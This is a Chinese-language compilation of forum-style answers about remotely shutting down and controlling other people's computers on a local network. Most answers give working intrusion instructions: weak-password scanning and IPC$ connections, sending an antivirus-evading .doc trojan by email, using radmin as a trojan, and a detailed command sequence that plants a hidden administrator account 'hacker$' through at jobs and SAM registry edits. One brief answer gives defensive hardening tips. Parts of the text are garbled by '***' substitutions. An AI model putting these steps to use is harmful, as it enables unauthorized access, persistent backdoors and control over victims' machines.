黑客 局域网 远程关机
1使用X-SCAN扫描器（流光），扫描局域网中弱口令用户.
2利用ipc$共享，进行连接。
3如果成功，使用shutdown -r -m \\对方IP -t 00
*** 仅供参考，这是远程关机技术的雏形。
如果不行就使用专门的安全工具，操作很简单。
如何远程控制内网电脑
*** 连接 *** 选择
1、有公网地址的情况下
关键问题你单位的机器没有公网地址，如果你和你们单位的网管熟的话，你可以让他给你的机器加一个公网地址，这样的话只要在你单位的机
器上安装一个远程控制软件，剩下的就简单了。
2、没有公网地址的情况下
在你的单位机器上安装VNN软件，并确保VNN与服务器连接记下获得的IP地址。
在你的家里机器上也安装VNN软件，并连接服务器，这样你单位的机器和你家里的机器就在一个虚拟 *** 里面了。
通过远程控制软件就可以实现连接。
VNN软件网址：
http://home.vnn.cn/
3、不通过单位 *** ，通过 *** 线连接
保证你的单位机器有Modem，并且能接一根模拟 *** 线，在单位机器上设置拨入连接。在你家里的机器上设置拨出连接。
设置 *** 可以参看以下链接，通过Modem互联部分。
http://hi.baidu.com/cccnu/blog/item/b3f37bcf1c68813df9dc6119.html
远程控制软件的选择
1、之一推荐
radmin
很多黑客都是用的这个软件
可以远程控制、屏幕监控、远程文件管理、远程telnet、可自定义连接端口、速度超快、一般杀毒软件查杀不了
软件下载地址
www.radmin.com
软件使用教程
http://www.enet.org.cn/Article/wgpd/YYAQ/200512/Article_9483.html
http://jnxwzql.bokee.com/viewdiary.11628687.html
2、第二推荐
VNC、DameWare
以上两个软件的优点是在知道远程计算机管理员口令的情况下安装服务端方便，不需要对方作任何操作，就可以连接过去。
VNC使用教程
http://kajaa.bbs.us/docs/Computer/System/%E5%B0%8F%E5%87%A4%E5%B1%85-%E5%AE%89%E5%85%A8%E6%96%87%E7%8C%AE/0453.html
DameWare使用教程
http://www.winmag.com.cn/forum/itemdisplay.asp?boardid=10id=325084
3、第三推荐
*** 、MSN、window自带的远程协助、netmeeting等
以上软件需要远端作设置，适合远程协助情况下，网上有很多教程，搜索一下即可
4、第四推荐
其他木马软件
以前用过冰河，不过这类软件很容易被杀毒软件杀掉，要想使用的话需要用加壳软件自己定制一下，不过这类软件的远程控制效果实在是太差
，还是强烈推荐用radmin，该软件完全可以定制成自己的木马使用。
电脑局域网共享，遭受黑客攻击。关闭共享的同时如何解除后患
1.删除默认共享C$等等，具体网上有详细 ***
2.给Administrator设置一个复杂点的密码。
3.如果您不需要共享的话可以在防火墙中设置关闭445和135端口。
这样的设置您就不必担心遭到黑客入侵了，另外，请您安装最新杀毒软件进行全盘扫描检查，防止黑客在您机器上留下后门。
怎样控制局域网的电脑,就是远程控制公司内网的电脑！
学点黑客技术吧！可以考虑给他发一份邮件，发.doc格式的远程控制木马，做好免杀，只要他打开看了，你就可以控制他电脑了，详细的你可以下载这个黑客教程：“2010年最新Word捆绑器(Doc木马) *** 到挂马”
下载地址：http://www.7747.net/Soft/201003/17453.html
我试过好用的
怎么远程关掉局网电脑
我可以告诉你一个办法不过需要对象的用户名和口令，还有他的IP 地址，只要你知道拿到账号和密码半个小时就可以搞定，以后你就有一个自己的隐藏管理员账户，随便进入他的电脑。在这里将用at的命令，因为用at产生的计划任务是以系统身份运行的，所以也用不到psu.exe程序。为了能够使用at命令，肉鸡必须开有schedule的服务，如果没有开启，可用流光里带的工具netsvc.exe或sc.exe来远程启动，当然其 *** 也可以，只要能启动schedule服务就行。对于命令行方式，你可以采用各种连接方式，如用SQLexec连接MSSQL的1433端口，也可以用telnet服务，只要以你能得到一个cmdshell，并且有运行at命令的权限就可以。1．这里先假设他的用户名为administrator,密码为12345678，现在我们开始在命令行下远程为它建立隐藏的超级用户。（假设主机是局域网内的一台主机，ip地址为13.50.97.238,。） 2．先与他建立连接：net use \\13.50.97.238\ipc$ "12345678" /user："Administrator”3．用at命令在他的电脑建立一个用户(如果at服务没有启动，可用netsvc.exe或sc.exe来远程启动)：at \\13.50.97.238 12:51 c:\windows\system32\net.exe user hacker$ 1234 /add建立这个加有$符的用户名，是因为加有$符后，命令行下用net user将不显示这个用户，但在帐户管理器却能看到这个用户。4．同样用at命令导出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下键值：at \\13.50.97.238 12:55 c:\windows\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users/e 是regedit.exe的参数，在这里HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users这个键的一定不要以“\“结尾。必要的情况下可以用引号将"c:\windows\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users"引起来。5．将他的电脑上的hacker.reg下载到本机上用记事本打开进行编辑命令为：Copy \\13.50.97.238\admin$\system32\hacker.reg c:\hacker.reg6．再将编辑好的hacker.reg拷回他的电脑上copy c:\hacker.reg \\13.50.97.238\admin$\system32\hacker1.reg7．查看他的电脑时间：net time \\13.50.97.238然后用at命令将用户hacker$删除：at \\13.50.97.238 13:40 net user hacker$ /del8．验证hacker$是否删除:net use \\13.50.97.238 /del 断开与他的电脑连接。再用net use \\13.50.97.238\ipc$ "1234" /user:"hacker$" 用帐户hacker$与他电脑连接，不能连接说明已删除。9．再与他电脑建立连接：net use \\13.50.97.238\ipc$ "12345678" /user:"administrator" 再取得他的时间，用at命令将拷回他的hacker1.reg导入他的注册表: at \\13.50.97.238 13:41 c:\windows\regedit.exe /s hacker1.regregedit.exe的参数/s是指安静模式。 10．再验证hacker$是否已建立， *** 同上面验证hacker$是否被删除一样。11．再验证用户hacker$是否有读、写、删除的权限，如果不放心，你还可验证是否能建立其它帐户。 12．通过步骤11可以断定用户hacker$具有超级用户权限，因为最初我用at命令建立它的时候是一个普通用户，而现在却具有远程读、写、删除的权限。当然也可以关机拉。OK 以后你可以随意拿你的账号进入他电脑里游荡了~~~~~~~~~~~~~~
使用远程关机对话框为什么不能远程关闭局域网内的其他计算机？可以ping成功
ping是最基本黑客指令。ping成功不意味你已经完全控制了电脑。
并且计算机都有防火墙。还可以自己设定策略如拒绝远程策略等
局域网怎么关别人电脑 我知道他IP
知道对方IP入侵别人的电脑
--------------------------------------------------------------------------------
黑客已经成为一种文化，很多人想成为黑客，他们偶尔学到了几种小花招，总喜欢拿别人开玩笑，搞些恶作剧。其实黑客的更高境界在于防守，不在于进攻。所谓明枪易躲暗箭难防，要防住他人所有的进攻，肯定需要懂得比对方更多的系统知识，了解更多的系统漏洞，及如何弥补漏洞。 现在满天都是黑客教程，但真正有用的不多，下面介绍一种WIN9X下的入侵 *** :
1.取得对方IP地址如XX.XX.XX.XX， *** 太多不细讲了。
2.判断对方上网的地点，开个DOS窗口键入 TRACERT XX.XX.XX.XX 第4和第5行反映的信息既是对方的上网地点。
3.得到对方电脑的名称，开个DOS窗口键入 N *** STAT -A XX.XX.XX.XX 之一行是对方电脑名称 第二行是对方电脑所在工作组 第三行是对方电脑的说明
4.在Windows目录下有一文件名为LMHOSTS.SAM，将其改名为LMHOSTS，删除其内容，将对方的IP及电脑名按以下格式写入文件： XX.XX.XX.XX 电脑名
5.开DOS窗口键入 N *** STAT -R
6.在开始-查找-电脑中输入对方电脑名，出现对方电脑点击即可进入。
以上 *** 请不要乱用，本人对你用上面的 *** 所惹出的麻烦概不负责，请慎重。 对付上面进攻的更好办法就是隐藏你的IP地址。